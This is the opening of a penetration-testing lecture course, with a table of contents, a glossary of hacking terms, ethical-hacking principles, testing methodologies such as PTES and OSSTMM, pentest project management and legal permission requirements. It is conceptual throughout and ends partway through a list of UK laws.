A.Dorofeev, A.

Piskozub
Pentest Lecture Course
Contents
Chapter 1. Introduction to the penetration testing ................................................................................ 4
Lecture 1.1. Vulnerability assessment methodologies ............................................................................. 4
Basic terms ............................................................................................................................................ 4
What is hacking and ethical hacking? ................................................................................................... 7
Penetration testing project management ...........................................................................................13
Hacking tools overview .......................................................................................................................16
Know the applicable laws ....................................................................................................................16
Reporting .............................................................................................................................................19
Penetration testing reports .................................................................................................................28
Lecture 1.2. Ethical hacking tools overview ............................................................................................28
Ethical hacking workplace: Kali Linux ..................................................................................................28
Targets: Metasploitable 2, etc.............................................................................................................29
Portscanners........................................................................................................................................29
Vulnerability scanners .........................................................................................................................32
Exploit frameworks .............................................................................................................................34
Chapter 2 Intelligence Gathering .............................................................................................................35
Lecture 2.1 Structured approaches for information gathering ...............................................................35
Open Source Intelligence methods .....................................................................................................35
Structured analytic techniques overview;...........................................................................................35
Analysis of Competing Hypotheses .....................................................................................................36
Types of information collected for during penetration testing ..........................................................45
Infrastructure Assets ...........................................................................................................................49
Financial ..............................................................................................................................................51
Employee .............................................................................................................................................52
Lecture 2.2 Google for penetration testers ............................................................................................54
How search engines work ...................................................................................................................54
Google advanced search operators ....................................................................................................56
Google Hacking Database....................................................................................................................62
Specialized search engines ..................................................................................................................62
Lecture 2.3 Gathering technical information ..........................................................................................62
1
Discovering IP-addresses;........................................................................................................................63
 Tracerouting; ...........................................................................................................................................65
Chapter 3 Vulnerability Analysis ..............................................................................................................71
Lecture 3.1 Types of vulnerabilities ...................................................................................................71
Vulnerabilities .....................................................................................................................................71
Sources of information about vulnerabilities......................................................................................76
OVAL ....................................................................................................................................................76
Lecture 3.2 Manual search for vulnerabilities; .......................................................................................77
Banner grabbing ..................................................................................................................................77
NMAP ..................................................................................................................................................78
Lecture 3.3 Automated search for vulnerabilities; .................................................................................86
Overview of vulnerability scanners .....................................................................................................86
Vendors of vulnerability assessment software ...................................................................................90
Mastering NMAP script engine ...........................................................................................................93
Chapter 4 Exploitation ...........................................................................................................................105
Lecture 4.1 Basic exploitation. Metasploit Framework ........................................................................105
Exploitation .......................................................................................................................................105
Attack Vectors Versus Attack Types ..................................................................................................105
Local Exploits .....................................................................................................................................106
Man-in-the-middle attacks: ARP Cache Poisoning ............................................................................112
Man-in-the-middle attacks: DNS Spoofing ........................................................................................117
Man-in-the-middle attacks: Session Hijacking ..................................................................................122
Man-in-the-middle attacks: SSL Hijacking .........................................................................................127
Lecture 4.2 Password attacks ................................................................................................................131
Online passwords attacks with THC-hydra........................................................................................131
Password hashes and salts ................................................................................................................135
Offline passwords attacks with John the Ripper ...............................................................................144
Default passwords .............................................................................................................................148
Art of manual password guessing .....................................................................................................149
Top passwords lists ...........................................................................................................................151
Pass the hash attack ..........................................................................................................................151
Chapter 5 Exploitation of Web-applications 2 .......................................................................................153
Lecture 5.1 Exploitation of Web-applications .......................................................................................153
How Web-applications work .............................................................................................................153
Web server and Application server ...................................................................................................156
Common web-vulnerabilities: OWASP Top 10 ..................................................................................156
OWASP testing guide overview .........................................................................................................158
2
Web security testing tools.................................................................................................................158
Chapter 6 Social engineering .................................................................................................................162
Lecture 6.1 Social engineering .........................................................................................................162
Social engineering attacks .................................................................................................................162
The Social engineering Toolkit project overview ..............................................................................164
Chapter 7 Exploitation using client-side attacks ....................................................................................172
Lecture 7.1 Client side exploits ........................................................................................................172
Types of client-side exploits ..............................................................................................................172
MS Office macros ..............................................................................................................................173
The browser exploitation framework project overview ...................................................................175
Chapter 8 Maintaining Access................................................................................................................194
Lecture 8.1 Maintaining access techniques .....................................................................................194
Tools and Methods for Maintaining Access ......................................................................................198
Meterpreter usage ............................................................................................................................202

3
Chapter 1. Introduction to the penetration testing
Lecture 1.1. Vulnerability assessment methodologies
Basic terms
Adware: Adware can mean the software that automatically generates advertisements in a program that
is otherwise free, such as an online video game. But in this context it more commonly means a kind of
spyware that tracks your browsing habits covertly to generate those ads.

Backdoor: A back door, or trap door, is a hidden entry to a computing device or software that bypasses
security measures, such as logins and password protections. Some have alleged that manufacturers
have worked with government intelligence to build backdoors into their products. Malware is often
designed to exploit back doors.

Black hat: Black hat hackers are those who engage in hacking for illegal purposes, often for financial
gain, though also for notoriety. Their hacks (and cracks) result in inconvenience and loss for both the
owners of the system they hack and the users.

Bot: A program that automates a usually simple action so that it can be done repeatedly at a much
higher rate for a more sustained period than a human operator could do it. Like most things in the world
of hacking, bots are, in themselves, benign and used for a host of legitimate purposes, like online
content delivery. However, they are often used in conjunction with cracking, and that’s where its public
notoriety comes from. Bots can be used, for instance, to make the content calls that make up denial of
service attacks. Bot is also a term used to refer to the individual hijacked computers that make up a
botnet.

Botnet: A botnet is a group of computers controlled without their owners’ knowledge and used to send
spam or make denial of service attacks. Malware is used to hijack the individual computers, also known
as “zombies,” and send directions through them.

Brute force attack: Also known as an exhaustive key search, a brute force attack is an automated search
for every possible password to a system. It is an inefficient method of hacking compared to others like
phishing. It’s used usually when there is no alternative. The process can be made shorter by focusing the
attack on password elements likely to be used by a specific system.

Clone phishing: Clone phishing is the modification of an existing, legitimate email with a false link to
trick the recipient into providing personal information.

Cookie: Cookies are text files sent from your Web browser to a server, usually to customize information
from a website.

Cracking: To break into a secure computer system, frequently to do damage or gain financially, though
sometimes in political protest.

Denial of service attack (DoS): DoS is used against a website or computer network to make it
temporarily unresponsive. This is often achieved by sending so many content requests to the site that
the server overloads. Content requests are the instructions sent, for instance, from your browser to a
website that enables you to see the website in question. Some have described such attacks as the
Internet equivalent of street protests and some groups,
4 such as Anonymous frequently use it as a
protest tool.
Distributed denial of service attack (DDoS): A DoS using a number of separate machines. This can be
accomplished by seeding machines with a Trojan and creating a botnet or, as is the case with a number
of Anonymous attacks, by using the machines of volunteers.

Doxing: Discovering and publishing the identity of an otherwise anonymous Internet user by tracing
their online publically available accounts, metadata, and documents like email accounts, as well as by
hacking, stalking, and harassing.

Firewall: A system using hardware, software, or both to prevent unauthorized access to a system or
machine.

Gray hat: Just like the rest of life, hacking is often less black or white than it is gray. The term gray hat
hacker reflects that reality. A gray hat hacker will break the law in the pursuit of a hack, but does not do
so maliciously or for personal gain. Many would argue Anonymous are gray hats.

Hacking: Hacking is the creative manipulation of code, distinguished, albeit amorphously, from
programming by focusing on the manipulation of already written code in the devices or software for
which that code was already written. Metaphorically it extends to social engineering in its manipulation
of social code to effect change. Many prefer to use the term cracking to describe hacking into a machine
or program without permission. Hackers are sometimes divided into white hat, black hat, and gray hat
hackers.

Hacktivist: A hacker whose goals are social or political. Examples range from reporting online
anonymously from a country that attacks free speech to launching a DDoS campaign against a company
whose CEO has issued objectionable statements. Not to be confused with slacktivism, which refers to
push-button activism in which a supporter of a social or political campaign’s goals does nothing but
register their support online, for instance by “liking” a Facebook page.

Hash: A hash is a number generated by an algorithm from a string of characters in a message or other
string. In a communications system using hashes, the sender of a message or file can generate a hash,
encrypt the hash, and send it with the message. On decryption, the recipient generates another hash. If
the included and the generated hash are the same, the message or file has almost certainly not been
tampered with.

Keystroke logging: Keystroke logging is the tracking of which keys are pressed on a computer (and
which touchscreen points are used). It is, simply, the map of a computer/human interface. It is used by
gray and black hat hackers to record login IDs and passwords. Keyloggers are usually secreted onto a
device using a Trojan delivered by a phishing email.

Logic bomb: A virus secreted into a system that triggers a malicious action when certain conditions are
met. The most common version is the time bomb.

Malware: A software program designed to hijack, damage, or steal information from a device or system.
Examples include spyware, adware, rootkits, viruses, keyloggers, and many more. The software can be
delivered in a number of ways, from decoy websites and spam to USB drives.

Master: The computer in a botnet that controls, but is not controlled by, all the other devices in the
network. It’s also the computer to which all other devices report, sending information, such as credit
card numbers, to be processed.

Payload: The cargo of a data transmission is called the payload. In black hat hacking, it refers to the part
of the virus that accomplishes the action, such as5 destroying data, harvesting information, or hijacking
the computer.
Packet sniffer: Sniffers are programs designed to detect and capture certain types of data. Packet
sniffers are designed to detect packets traveling online. Packets are packages of information traveling on
the Internet that contain the destination address in addition to content. Packet can be used to capture
login information and passwords for a device or computer network.

Phishing: Tricking someone into giving you their personal information, including login information and
passwords, credit card numbers, and so on by imitating legitimate companies, organizations, or people
online. Phishing’s often done via fake emails or links to fraudulent websites.

Remote access: Remote control is the process of getting a target computer to recognize your keystrokes
as its own, like changing a TV with a remote control. Gaining remote access allows you to run the target
machine completely by using your own, allowing for the transfer of files between the target and the
host.

Rootkit: A rootkit is a set of software programs used to gain administrator-level access to a system and
set up malware, while simultaneously camouflaging the takeover.

Script kiddie: A pejorative term for a would-be cracker without technical skills. Script kiddies use prefab
cracking tools to attack systems and deface them, often in an attempt to score points with their peers.

Social engineering: A custodian is to a janitor as a social engineer is to a con man. Social engineering is
conning people into giving you confidential information, such as passwords to their accounts. Given the
difficulty of breaking, 128-bit encryption with brute force, for example, social engineering is an integral
element of cracking. Examples include phishing and spear-phishing.

Spam: Unwanted and unsolicited email and other electronic messages that attempt to convince the
receiver to either purchase a product or service, or use that prospect to defraud the recipient. The
largest and most profitable spamming organizations often use botnets to increase the amount of spam
they send (and therefore the amount of money they make).

Spear-phishing: A more focused type of phishing, targeting a smaller group of targets, from a
department within a company or organization down to an individual.

Spoofing: Email spoofing is altering the header of an email so that it appears to come from elsewhere. A
black hat hacker, for instance, might alter his email header so it appears to come from your bank. IP
spoofing is the computer version, in which a packet is sent to a computer with the IP altered to imitate a
trusted host in the hope that the packet will be accepted and allow the sender access to the target
machine.

Spyware: Spyware is a type of malware that is programmed to hide on a target computer or server and
send back information to the master server, including login and password information, bank account
information, and credit card numbers.

Time bomb: A virus whose payload is deployed at or after a certain time.

Trojan horse: A Trojan is a type of malware that masquerades as a desirable piece of software. Under
this camouflage, it delivers its payload and usually installs a back door in the infected machine.

Virus: Self-replicating malware that injects copies of itself in the infected machine. A virus can destroy a
hard drive, steal information, log keystrokes, and many other malicious activities.

Vulnerability: A weak spot hackers can exploit to gain access to a machine.

6
Whaling: Spear-phishing that targets the upper management of for-profit companies, presumably in the
hope that their higher net worth will result in either more profit, if the cracker is after financial gain, or
that their higher profile will ensure the gray hat hacker more exposure for his or her cause.

White hat: An ethical hacker who uses his skills in the service of social good. The term may also be
applied to a hacker who helps a company or organization, or users in general, by exposing vulnerabilities
before black hat hackers do.

Worm: Self-replicating, standalone malware. As a standalone it does not report back to a master, and
unlike a virus it does not need to attach itself to an existing program. It often does no more than
damage or ruin the computers it is transmitted to. But it’s sometimes equipped with a payload, usually
one that installs back doors on infected machine to make a botnet.

Zero day exploit: A zero day attack is a previously unknown vulnerability in a system. A zero day attack
is the first such use of the exploit by a cracker.

What is hacking and ethical hacking?

In computer networking, hacking is any technical effort to manipulate the normal behavior of network
connections and connected systems. A hacker is any person engaged in hacking. The term "hacking"
historically referred to constructive, clever technical work that was not necessarily related to computer
systems. Today, however, hacking and hackers are most commonly associated with malicious
programming attacks on the Internet and other networks.

Origins of Hacking

M.I.T. engineers in the 1950s and 1960s first popularized the term and concept of hacking. Starting at
the model train club and later in the mainframe computer rooms, the so-called "hacks" perpetrated by
these hackers were intended to be harmless technical experiments and fun learning activities.

Later, outside of M.I.T., others began applying the term to less honorable pursuits. Before the Internet
became popular, for example, several hackers in the U.S. experimented with methods to modify
telephones for making free long-distance calls over the phone network illegally.

As computer networking and the Internet exploded in popularity, data networks became by far the most
common target of hackers and hacking.

Hacking vs. Cracking

Malicious attacks on computer networks are officially known as cracking, while hacking truly applies
only to activities having good intentions.

Most non-technical people fail to make this distinction, however. Outside of academia, its extremely
common to see the term "hack" misused and be applied to cracks as well.

Common Network Hacking Techniques

Hacking on computer networks is often done through scripts or other network programming. These
programs generally manipulate data passing through a network connection in ways designed to obtain
more information about how the target system works. Many such pre-packaged scripts are posted on
the Internet for anyone, typically entry-level hackers, to use. More advanced hackers may study and
modify these scripts to develop new methods. A few highly skilled hackers work for commercial firms
with the job to protect that company's software and data from outside hacking.

7
Cracking techniques on networks include creating worms, initiating denial of service (DoS) attacks, or in
establishing unauthorized remote access connections to a device.

Effective hacking requires a combination of technical skills and personality traits:

• ability to work with numbers and background in mathematics - hacking often requires
sorting through large amounts of data, code and computer algorithms
• memory recall and logical reasoning - hacking involves assembling small facts and details
(sometimes from many sources) into a plan of attack based on the logic of how computer
systems work
• patience - hacks tend to get very complex and requite large amounts of time to plan and
execute)

Ethical hacking and ethical hacker are terms used to describe hacking performed by a company or
individual to help identify potential threats on a computer or network. An ethical hacker attempts to
bypass system security and search for any weak points that could be exploited by malicious hackers. This
information is then used by the organization to improve the system security, in an effort to minimize or
eliminate any potential attacks.

What constitutes ethical hacking?

For hacking to be deemed ethical, the hacker must obey the following rules:

Expressed (often written) permission to probe the network and attempt to identify potential security
risks.

• You respect the individual's or company's privacy.

• You close out your work, not leaving anything open for you or someone else to exploit at a
later time.
• You let the software developer or hardware manufacturer know of any security
vulnerabilities you locate in their software or hardware, if not already known by the
company.

The term "ethical hacker" has received criticism at times from people who say that there is no such
thing as an "ethical" hacker. Hacking is hacking, no matter how you look at it and those who do the
hacking are commonly referred to as computer criminals or cyber criminals. However, the work that
ethical hackers do for organizations has helped improve system security and can be said to be quite
effective and successful.

What are real hackers do?

The five phases of Hacking are as follow:

• Reconnaissance
• Scanning
• Gaining Access
• Maintaining Access
• Covering Tracks

The Five Phases of Hacking

8
Reconnaissance:- This is the primary phase where the Hacker tries to collect as much information as
possible about the target. It includes Identifying the Target, finding out the target's IP Address Range,
Network, DNS records, etc.

Scanning:- It involves taking the information discovered during reconnaissance and using it to examine
the network. Tools that a hacker may employ during the scanning phase can include dialers, port
scanners, network mappers, sweepers, and vulnerability scanners. Hackers are seeking any information
that can help them perpetrate attack such as computer names, IP addresses, and user accounts.

Gaining Access:- After scanning, the hacker designs the blueprint of the network of the target with the
help of data collected during Phase 1 and Phase 2. This is the phase where the real hacking takes place.
Vulnerabilities discovered during the reconnaissance and scanning phase are now exploited to gain
access. The method of connection the hacker uses for an exploit can be a local area network (LAN,
either wired or wireless), local access to a PC, the Internet, or offline. Examples include stack based
buffer overflows, denial of service (DoS), and session hijacking. These topics will be discussed in later
chapters. Gaining access is known in the hacker world as owning the system.

Maintaining Access:- Once a hacker has gained access, they want to keep that access for future
exploitation and attacks. Sometimes, hackers harden the system from other hackers or security
personnel by securing their exclusive access with backdoors, rootkits, and Trojans. Once the hacker
owns the system, they can use it as a base to launch additional attacks. In this case, the owned system is
sometimes referred to as a zombie system.

Covering Tracks:- Once hackers have been able to gain and maintain access, they cover their tracks to
avoid detection by security personnel, to continue to use the owned system, to remove evidence of
hacking, or to avoid legal action. Hackers try to remove all traces of the attack, such as log files or
intrusion detection system (IDS) alarms. Examples of activities during this phase of the attack include
steganography, the use of tunneling protocols, and altering log files.

Penetration testing methodologies

List of main penetration testing methodologies

• OWASP testing guide

• PCI Penetration testing guide
• Penetration Testing Execution Standard
• NIST 800-115
• Penetration Testing Framework
• Information Systems Security Assessment Framework (ISSAF)
• Open Source Security Testing Methodology Manual (“OSSTMM”)

Penetration Testing Execution Standard (PTES)

PTES defines penetration testing as 7 phases.

• Pre-engagement Interactions
• Intelligence Gathering
• Threat Modeling
9
• Vulnerability Analysis
 • Exploitation
• Post Exploitation
• Reporting
Instead of simply methodology or process, PTES also provides hands-on technical guidelines for
what/how to test, rationale of testing and recommended testing tools and usage.

http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines

PCI Penetration testing guide

Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration
testing. PCI also defines Penetration Testing Guidance.

PCI DSS Penetration Testing guidance

The PCI DSS Penetration testing guideline provides a very good reference of the following area while it's
not a hands-on technical guideline to introduce testing tools.

• Penetration Testing Components

• Qualifications of a Penetration Tester
• Penetration Testing Methodologies
• Penetration Testing Reporting Guidelines

PCI DSS Penetration Testing Requirements

The PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement
11.3

• Based on industry-accepted approaches

• Coverage for CDE and critical systems
• Includes external and internal testing
• Test to validate scope reduction
• Application-layer testing
• Network-layer tests for network and OS

Penetration Testing Framework

The Penetration testing framework provides very comprehensive hands-on penetration testing guide. It
also list usage of the testing tools in each testing category. The major area of penetration testing
includes -

• Network Footprinting (Reconnaissance)

• Discovery & Probing
• Enumeration
• Password cracking
• Vulnerability Assessment
• AS/400 Auditing
• Bluetooth Specific Testing
• Cisco Specific Testing
• Citrix Specific Testing
10
• Network Backbone
• Server Specific Tests
 • VoIP Security
• Wireless Penetration
• Physical Security
• Final Report - template

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

Information Systems Security Assessment Framework (ISSAF)

The ISSAF is a very good reference source of penetration testing though Information Systems Security
Assessment Framework (ISSAF) is not an active community. It provides comprehensive penetration
testing technical guidance. It covers the area below.

• Project Management
• Guidelines And Best Practices – Pre Assessment, Assessment And Post Assessment
• Assessment Methodology
• Review Of Information Security Policy And Security Organization
• Evaluation Of Risk Assessment Methodology
• Technical Control Assessment
• Technical Control Assessment - Methodology
• Password Security
• Password Cracking Strategies
• Unix /Linux System Security Assessment
• Windows System Security Assessment
• Novell Netware Security Assessment
• Database Security Assessment
• Wireless Security Assessment
• Switch Security Assessment
• Router Security Assessment
• Firewall Security Assessment
• Intrusion Detection System Security Assessment
• VPN Security Assessment
• Anti-Virus System Security Assessment And Management Strategy
• Web Application Security Assessment
• Storage Area Network (San) Security
• Internet User Security
• As 400 Security
• Source Code Auditing
• Binary Auditing
• Social Engineering
• Physical Security Assessment
• Incident Analysis
• Review Of Logging / Monitoring & Auditing Processes
• Business Continuity Planning And Disaster Recovery
• Security Awareness And Training
• Outsourcing Security Concerns
• Knowledge Base
• Legal Aspects Of Security Assessment Projects
• Non-Disclosure Agreement (NDA)
• Security Assessment Contract 11
• Request For Proposal Template
• Desktop Security Check-List - Windows
 • Linux Security Check-List
• Solaris Operating System Security Check-List
• Default Ports - Firewall
• Default Ports – IDS/IPS
• Links
• Penetration Testing Lab Design

Open Source Security Testing Methodology Manual (OSSTMM)

OSSTMM is a methodology to test the operational security of physical locations, workflow, human
security testing, physical security testing, wireless security testing, telecommunication security testing,
data networks security testing and compliance. OSSTMM can be supporting reference of IOS 27001
instead of a hands-on penetration testing guide.

OSSTMM includes the following key sections:

• Operational Security Metrics

• Trust Analysis
• Work Flow.
• Human Security Testing
• Physical Security Testing
• Wireless Security Testing
• Telecommunications Security Testing
• Data Networks Security Testing
• Compliance Regulations
• Reporting with the STAR (Security Test Audit Report)

Useful links:

1. https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_201
5.pdf
2. http://www.pentest-standard.org/index.php/Main_Page
3. http://www.isecom.org/research/osstmm.html
4. http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
5. http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-
testing-assessment.pdf
6. http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html
7. https://www.owasp.org/images/0/04/Security_Testing_Guidelines_for_mobile_Apps_-
_Florian_Stahl%2BJohannes_Stroeher.pdf
8. http://www.mcafee.com/tw/resources/white-papers/foundstone/wp-pen-testing-android-
apps.pdf
9. https://www.kali.org/
10. http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
11. https://sourceforge.net/projects/isstf/
12. https://sourceforge.net/projects/isstf/files/issaf%20document/issaf0.1/
12
13. https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf
Penetration testing project management

Project Team Members

The members of a penetration test team vary dramatically, based on the organizational structure of the
company that creates and maintains the team. For a pentest group to be successful, they will need
support from outside the team and skilled management inside the team.

The popular image of a penetration test team is akin to that of ninjas—hidden and stealthy, unburdened
by worldly constraints, armed with powerful and unique tools, and capable of completing any mission.
The reality is that professional penetration test members who work within large organizations are
caught up in all the same corporate life as the rest of us—interoffice politics, time sheets, cramped
cubicles, underpowered computers, endless meetings, human resource presentations, fire drills, team-
building events, pot-luck lunches, and the inevitable corporate reorganization.

This section discusses the roles and responsibilities of the different penetration test team members and
stakeholders and identifies the key aspects necessary to maintain a capable pentest team. We will also
look at ways that a pentest team may be organized within a company and how to improve the chances
of suc¬cess of a pentest project.

Roles and Responsibilities

Composition of a professional penetration test team can vary dramatically, depending on the scope of
the project and organizational structure. The roles and responsibilities will be titled differently,
according to accepted practices; however, some positions exist regardless of the external influence of a
company. Organizational corporate structure will affect a penetration test team in terms of
responsibilities, cooperation across department boundaries, and resource acquisition.

It is possible that multiple positions within the typical structure are filled by the same person. An
example would be the pentest manager also acting as the project manager or even filling in as a pentest
engineer when necessary. However, the roles still exist, even if filled by one individual.

Team Champion

The team champion is often an upper-level manager who will support the efforts of the penetration test
team across the larger corporate organization. The higher up the managerial chain the team champion
is, the better the pentest team and its projects will be supported and defended; however, the team
champion does not have to be in the management chain of the penetration test team nor does it only
need to be one person. The more high-level advocates there are who support penetration testing and
information security, the better.

If the pentest team exists outside the company, it is critical to obtain a team champion within the
client's organization, especially if the decision to conduct a penetration test is a confrontational one.
System and network managers may perceive a pentest as a challenge to authority or job security; those
same managers become obstacles, intent on having the penetration test fail miserably. To overcome
obstacles, the team champion is often called upon to settle differences, encourage discourse, and
increase the chances of success for the pentest project.

If the pentest team exists within a company, a team champion can be even more helpful, especially in
functional, or Tayloristic, organizations. The ability to influence participation and cooperation across
business lines is an impor¬tant skill, which can improve the success of a penetration test.

Plans, organizes, and manages the execution of the

13 project Trained in project management — not an
engineer assigned the position
Preferably a project manager familiar with penetration testing

Business units are often focused on keeping the system online and available— security is rarely
considered in the day-to-day business of making money. The introduction of security into a business
unit's development cycle is often seen as a hindrance at best and an obstacle at worst. A team
champion, especially one high in the corporate organizational structure, can often put enough indirect
pressure on business unit management to encourage participation with the penetration test team.
Without a team champion, the pentest team will simply be ignored and the project will fail.

Project Manager

The inclusion of a talented project manager can greatly improve the chances of success for penetration
test projects. In large organizations with a permanent penetration test team, the project manager is
often someone intimately familiar with pentesting. In smaller organizations, or organizations that do
very few penetration test projects, the project manager may not have any understanding of how a
professional pentest should be managed or what risks exist to the success of the project itself. Although
the inclusion of a project man-ager without pentest experience may not doom the pentest project to
failure, it does increase the workload of both the project manager and the engineers on the team
because the project manager must ask a lot of questions to the engineers already familiar with
professional penetration testing, which of course slows the engineers down because they keep having to
answer the questions.

One mistake often made by the management interested in starting a professional penetration test team
is to select an engineer within the organization to be the project manager. The profession of project
manager is dramatically different from that of an engineer; throwing an engineer into the job of project
manager—especially without proper project management training—is a great way of ensuring that a
pentest project will fail.

Pentest Engineers

Without including skilled penetration testers on the team, the project cannot succeed. The skill set of
the engineers included in the pentest team should be matched to the corporate business goals and the
software/hardware used in the organization. For many organizations, obtaining skilled penetration test
engineers is difficult because the profession is so spe-cialized and fairly new, and demand is growing. For
companies that cannot hire skilled engineers, they must train staff to become skilled.

Because of the constantly changing nature of information security, penetration test engineers require
extensive training, including continuing education courses. Without a strong training budget and
support by the management, penetration testers must rely on their own skills to keep up with all the
lat¬est trends within the field of system intrusion, which is rarely possible. The inclusion of a training
program and budget allows pentest engineers to obtain focused training in a specific area within
penetration testing, such as Web application hacking, database exploitation, and reverse engineering.

Penetration testers should not be seen as auditors or asked to perform auditing tasks as part of their
employment. An auditor is usually tasked with determining how close an organization follows its
documented procedures, whereas a penetration tester could care less. The penetration test engineer
looks to exploit systems regardless of processes that surround the system and therefore requires a
greater level of knowledge on the system—they may detail how to improve system procedures but only
at the conclusion of the pentest project.

10 steps to successful penetration test

1. Comprehensive network assessment 14

A typical pen test at the simplest level does a penetration test of the company’s network and systems
from the outside (external to the network) and optionally a test from the inside (internal to the
network). Many companies choose to stick with the external assessment only.

A good comprehensive pen test approach is to have an external test together with an internal test and
explore what internal vulnerabilities can be exploited. This external-to-internal pivot approach provides
good visibility into the effectiveness of your layered security program. Can an external phishing attempt
on a single user result in a pivot all the way through to administrator privileged access of a high value
internal restricted server? Which layers in your security program were successful in blocking the attack?

2. Plan and structure the tests for effective results

Treat a pen test as a project just as you would a technical system rollout. Obtain project management
resources if possible and allocate dedicated information security and IT time and effort.

3. Ensure adequate time for upfront planning

Most CEOs and their boards understand that security breaches are a fact of doing business. What can an
enterprise do to minimize risks and mitigate costs? This blog will discuss the role of cybersecurity
insurance in...

Even with the right resource dedicated to the project, a well-structured pen test requires some amount
of upfront time to plan out the details of the test, align test goals with management and the pen test
team, and review and provide all the required details to the pen test team. Pay special attention to the
Pen Test team’s pretest request for information. If incorrect IP addresses are provided, then some of the
systems or IP ranges will be missing test coverage.

4. Create a communication and alignment plan

If the test involves a social engineering component, decide upfront who will be involved in the test. How
many participants will be part of the candidate pool for the test phish email? If you are running a phone
test of the IT helpdesk picking the right time and phone numbers to call can be important, if your
company has different staffing levels on different shifts. Line up the right people in management who
will be provided advance knowledge of the pen test and the individual social engineering tests. Most
importantly make sure that the right people on the information security incident response team are
aware of what’s going on, so that the team knows how to escalate pen test related results
appropriately.

5. Explore the what-if scenarios

Are there some gaps or holes you’ve always wondered about but don’t generally fall into the classic pen
testing modus operandi. A pen test is a good time to test out a theory of a possible vulnerability.

6. Monitoring plan

Plan an effective monitoring plan during the pen test. While the pen test is being done by an external
team to test the layered defenses, it can also be a very good test of your monitoring and incident
response program. This means documenting which systems, sensors and teams triggered alerts during
the pen test. Plan for an after action review with the incident response analysts to review how the
existing monitoring and sensors worked and use the lessons learned to update the information security
program

7. After the pen test

Make sure that pen tests results are qualified by15

the right frame of reference. Many pen testers will
provide a standard report based on a common template that they will reuse for each engagement.
Sometimes a company will use the same pen testing provider and results can be compared over time. It
is critical however to provide context and background to the results. For example if the number of
vulnerabilities reported has doubled from last year, it is important to add the total number of endpoints
scanned to the results. If the number of endpoints scanned has also doubled then your number of
vulnerabilities per endpoint scanned has remained the same. If you can break the endpoints numbers
out by servers and desktops…the more detail to help understand the context of the results the better.

8. Reporting to management

Ensure that reporting to management is part of the pen test engagement. Pen testers will often put
together a detailed and very technical slide deck summarizing the test results. Best practice is to have
one technical presentation going in-depth with the IT team (CIO and key managers) and a separate and
shorter presentation for the executives summarizing the tests with focus on risk impact and mitigation
plans. Plan for having the pen testers participate in internal presentations.

9. Scope and coverage

Pen testing today can be many things to many people. Consider not limiting your test to just the
network or external facing systems? If you’re doing this test just once a year, how about combining your
network pen test with a limited test of critical company websites and some physical assessments
including wireless walk around testing and physical access testing.

10. Web application penetration testing

This is a follow from the previous point. Consider also doing an in-depth application penetration test of
your web properties and external facing applications, based on your risk assessment needs and plans.
I’ve kept this for last because it is indeed a whole topic by itself and subject for a future post. Today, the
pen testing vendor market seems to be split with some vendors doing network pen testing only and
others doing application pen tests only. The lines seem to be slowly blurring however, with a few
network pen test vendors offering very limited application testing as part of the engagement.

Hacking tools overview

Types of hacking tools:

• Information Gathering
• Vulnerability Analysis
• Exploitation Tools
• Sniffing & Spoofing
• Password Attacks
• Wireless Attacks
• Web Applications
• Maintaining Access
• Reverse Engineering
• Reporting Tools

Know the applicable laws

When performing a penetration test it is very important to have permission from the parties involved,
which may include third parties if a company has16
outsourced or managed services as part of it's IT
infrastructure.
In recent times, outsourcing, managed services, cloud-computing and the global nature of IT
infrastructure, combined with new legislation in various countries have added complexity to penetration
testing.

This has made it increasingly important for pen-testers to have a very clear understanding of who owns
the systems they are targeting, and infrastructure between the testing systems and the targets (which
may be affected by testing).

Written permission

Written permission is the most important prerequisite before starting a penetration test. This is very
important even in an internal penetration test, performed by internal staff, because testing may affect
system performance, and raise confidentiality and integrity issues.

The system owner, or decision-maker must agree to put the scope of the tests in writing. If there are any
doubts during the test, this may need to be clarified and amended with more detail.

A testers written permission document is their "get out of jail free card", but it is not above the law.
Sometimes it is unclear who owns systems and infrastructure (even to the client themselves). If in doubt
get clarification.

Discovering new systems

During the test, you may come across additional infrastructure and systems where you are not sure who
owns them, or whether you have permission to proceed. It is very important that your tests do not
impact third parties, either directly or indirectly. Reconfirm individual systems with the client as you go,
to make sure they know who owns the systems, and that they are within the permission and agreed
scope of the test.

External penetration tests across the internet

If you are performing penetration tests across the internet, you will likely need to notify relevant ISPs,
primarily yours and your customers.

This is important for various reasons, including legal and informational, but also technical reasons.

There could be many reasons why intervening infrastructure is adversely affected by tests that you run,
such as system/port scanners, and vulnerability assessment tools. The last thing you want is to get sued
for affecting a third party.

It may be that one of these ISPs is actually filtering some ports and threats transparently, which could
mean that some tests you run are invalid. If you are testing for threats, and either your ISP or your
customers ISP is filtering your tests, then you may be missing threats that are there, that perhaps may
be accessible from other locations or in other ways.

During your tests, your IP addresses may get reactively blocked or blacklisted, which again could
invalidate any further tests, such that real threats are missed.

An alternative, to avoid some of the risks with Internet-based testing, is to connect the testing systems
directly to the external router of the client, or have the client give the tester some form of VPN or SSH
tunnel to a system in that location.
17
Laws to consider
In addition to permission and technical issues, it is very important to have a clear understanding of the
law, especially when more than one country is involved.

As you know, ignorance of the law does not stand up very well in court, so here is a (very) brief overview
of relevant laws in several countries. I am not a lawyer, so for further detail please consult with your
legal counsel. This is by no means a comprehensive list, and will only give you a flavor of what is out
there.

Cyber crime laws in the UK

• Computer Misuse Act (of 1990, updated 2008)

• Prohibits deliberate unauthorized access
• Additionally covers issues such as modification of content, blocking access, impairing
